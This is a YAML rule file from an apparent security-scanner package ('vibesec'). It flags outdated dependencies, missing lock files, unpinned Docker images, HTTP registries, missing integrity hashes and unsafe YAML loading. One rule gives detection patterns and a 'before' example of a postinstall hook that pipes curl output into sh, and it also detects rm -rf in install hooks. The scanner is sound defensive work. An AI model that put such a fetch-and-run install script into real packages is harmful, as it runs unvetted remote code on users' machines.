UNPKG

vibesec

Version:

Security scanner for AI-generated code - detects vulnerabilities in vibe-coded projects

386 lines (349 loc) 10.5 kB
# Insecure Dependencies Security Rules # Detects known vulnerable dependencies and unsafe package management practices rules: - id: vulnerable-express-version name: Vulnerable Express.js Version description: Using outdated Express.js version with known vulnerabilities severity: high category: dependencies languages: - javascript - typescript enabled: true patterns: - regex: "\"express\"\\s*:\\s*\"[^\"]*[0-3]\\." flags: gi - regex: "\"express\"\\s*:\\s*\"4\\.([0-9]|1[0-7])\\." flags: gi fix: template: | Update Express.js to the latest stable version. Before: "express": "^4.17.1" After: "express": "^4.18.0" Run: npm update express references: - https://expressjs.com/en/advanced/security-updates.html - https://snyk.io/vuln/npm:express metadata: cwe: CWE-1035 owasp: "A06:2021" tags: - dependencies - express - outdated - id: vulnerable-node-version name: Unsupported Node.js Version description: Using Node.js version that is end-of-life or has security issues severity: medium category: dependencies languages: - javascript - typescript enabled: true patterns: - regex: "\"node\"\\s*:\\s*\"([0-9]|1[0-5]|17|19)\\." flags: gi - regex: "\"engines\"\\s*:\\s*\\{[^}]*\"node\"\\s*:\\s*\"[^\"]*([0-9]|1[0-5])\\." flags: gi fix: template: | Update to a supported LTS version of Node.js. Before: "engines": { "node": "14.x" } After: "engines": { "node": ">=18.0.0" } Current LTS versions: 18.x, 20.x, 22.x references: - https://nodejs.org/en/about/releases/ - https://endoflife.date/nodejs metadata: cwe: CWE-1035 owasp: "A06:2021" tags: - dependencies - nodejs - eol - id: npm-install-without-lock name: npm install Without Lock File description: Running npm install in production without package-lock.json severity: medium category: dependencies languages: - javascript - typescript enabled: true patterns: - regex: "npm\\s+install(?!.*--ci|.*ci)" flags: gi - regex: "RUN\\s+npm\\s+install(?!.*--ci)" flags: gi fix: template: | Use npm ci in production for reproducible builds. Before (Dockerfile): RUN npm install After (Dockerfile): RUN npm ci --only=production This ensures exact versions from package-lock.json are installed. references: - https://docs.npmjs.com/cli/v8/commands/npm-ci metadata: cwe: CWE-1104 owasp: "A06:2021" tags: - dependencies - npm - lock-file - id: dangerous-package-scripts name: Dangerous Package.json Scripts description: Scripts that could execute malicious code during install severity: high category: dependencies languages: - javascript - typescript enabled: true patterns: - regex: "\"(preinstall|postinstall|install)\"\\s*:\\s*\"[^\"]*curl[^\"]*\\|[^\"]*sh" flags: gi - regex: "\"(preinstall|postinstall|install)\"\\s*:\\s*\"[^\"]*wget[^\"]*\\|[^\"]*sh" flags: gi - regex: "\"(preinstall|postinstall)\"\\s*:\\s*\"[^\"]*rm\\s+-rf" flags: gi fix: template: | Avoid running dangerous commands in install scripts. Before: "scripts": { "postinstall": "curl https://example.com/script.sh | sh" } After: // Remove dangerous install scripts // Use safer alternatives or properly vetted build tools "scripts": { "postinstall": "node scripts/setup.js" } references: - https://blog.npmjs.org/post/141702881055/package-install-scripts-vulnerability metadata: cwe: CWE-78 owasp: "A06:2021" tags: - dependencies - npm-scripts - supply-chain - id: unpinned-docker-base-image name: Unpinned Docker Base Image description: Docker base image without specific version tag severity: medium category: dependencies languages: - dockerfile enabled: true patterns: - regex: "FROM\\s+[a-z0-9/_-]+:latest" flags: gi - regex: "FROM\\s+[a-z0-9/_-]+(?!:[0-9])" flags: gi fix: template: | Pin Docker base images to specific versions. Before: FROM node:latest # or FROM node After: FROM node:18.17.0-alpine # Use specific version and digest for maximum security FROM node:18.17.0-alpine@sha256:abc123... references: - https://docs.docker.com/develop/dev-best-practices/ - https://snyk.io/blog/10-docker-image-security-best-practices/ metadata: cwe: CWE-1104 owasp: "A06:2021" tags: - dependencies - docker - supply-chain - id: insecure-package-registry name: Insecure Package Registry description: Using HTTP instead of HTTPS for package registry severity: high category: dependencies languages: - javascript - typescript enabled: true patterns: - regex: "registry\\s*=\\s*http://(?!localhost|127\\.0\\.0\\.1)" flags: gi - regex: "\"resolved\"\\s*:\\s*\"http://(?!localhost)" flags: gi fix: template: | Always use HTTPS for package registries. Before (.npmrc): registry=http://registry.npmjs.org/ After (.npmrc): registry=https://registry.npmjs.org/ references: - https://docs.npmjs.com/cli/v8/using-npm/config#registry metadata: cwe: CWE-319 owasp: "A02:2021" tags: - dependencies - npm - https - id: missing-integrity-checks name: Missing Subresource Integrity description: Loading external scripts without integrity checks severity: medium category: dependencies languages: - javascript - typescript - html enabled: true patterns: - regex: "<script[^>]+src\\s*=\\s*[\"']https?://[^\"']+[\"'][^>]*(?!integrity)" flags: gi - regex: "<link[^>]+rel\\s*=\\s*[\"']stylesheet[\"'][^>]+href\\s*=\\s*[\"']https?://[^\"']+[\"'][^>]*(?!integrity)" flags: gi fix: template: | Add Subresource Integrity (SRI) hashes to external resources. Before: <script src="https://cdn.example.com/library.js"></script> After: <script src="https://cdn.example.com/library.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..." crossorigin="anonymous"></script> Generate SRI hash: https://www.srihash.org/ references: - https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity - https://owasp.org/www-community/controls/Subresource_Integrity metadata: cwe: CWE-353 owasp: "A06:2021" tags: - dependencies - sri - cdn - id: outdated-python-packages name: Outdated Python Packages description: Using outdated Python packages with known vulnerabilities severity: high category: dependencies languages: - python enabled: true patterns: - regex: "flask==0\\.|flask==1\\.[0-2]\\." flags: gi - regex: "django==1\\.|django==2\\.[0-1]\\." flags: gi - regex: "requests==0\\.|requests==1\\.|requests==2\\.[0-9]\\." flags: gi - regex: "pyyaml==3\\.|pyyaml==4\\.|pyyaml==5\\.[0-3]" flags: gi fix: template: | Update Python packages to latest secure versions. Before (requirements.txt): flask==1.1.2 django==2.2.0 requests==2.18.0 After (requirements.txt): flask>=3.0.0 django>=4.2.0 requests>=2.31.0 Run: pip install --upgrade -r requirements.txt references: - https://pypi.org/ - https://github.com/pyupio/safety metadata: cwe: CWE-1035 owasp: "A06:2021" tags: - dependencies - python - outdated - id: no-package-lock-committed name: Package Lock File Not Committed description: package-lock.json or yarn.lock not in version control severity: medium category: dependencies languages: - javascript - typescript enabled: true patterns: - regex: "^package-lock\\.json$" flags: gm file: ".gitignore" - regex: "^yarn\\.lock$" flags: gm file: ".gitignore" - regex: "^pnpm-lock\\.yaml$" flags: gm file: ".gitignore" fix: template: | Commit lock files to ensure reproducible builds. Before (.gitignore): package-lock.json yarn.lock After (.gitignore): # Remove these lines - lock files should be committed # This ensures all developers use the same dependency versions Then: git add package-lock.json git commit -m "Add package lock file" references: - https://docs.npmjs.com/cli/v8/configuring-npm/package-lock-json metadata: cwe: CWE-1104 owasp: "A06:2021" tags: - dependencies - lock-file - reproducibility - id: unsafe-yaml-load name: Unsafe YAML Loading description: Using yaml.load() instead of yaml.safe_load() allows code execution severity: critical category: dependencies languages: - python enabled: true patterns: - regex: "yaml\\.load\\s*\\([^,)]+(?!,\\s*Loader\\s*=\\s*yaml\\.SafeLoader)" flags: gi fix: template: | Use yaml.safe_load() to prevent arbitrary code execution. Before: import yaml data = yaml.load(file) After: import yaml data = yaml.safe_load(file) # Or: data = yaml.load(file, Loader=yaml.SafeLoader) references: - https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data - https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation metadata: cwe: CWE-502 owasp: "A08:2021" tags: - dependencies - yaml - deserialization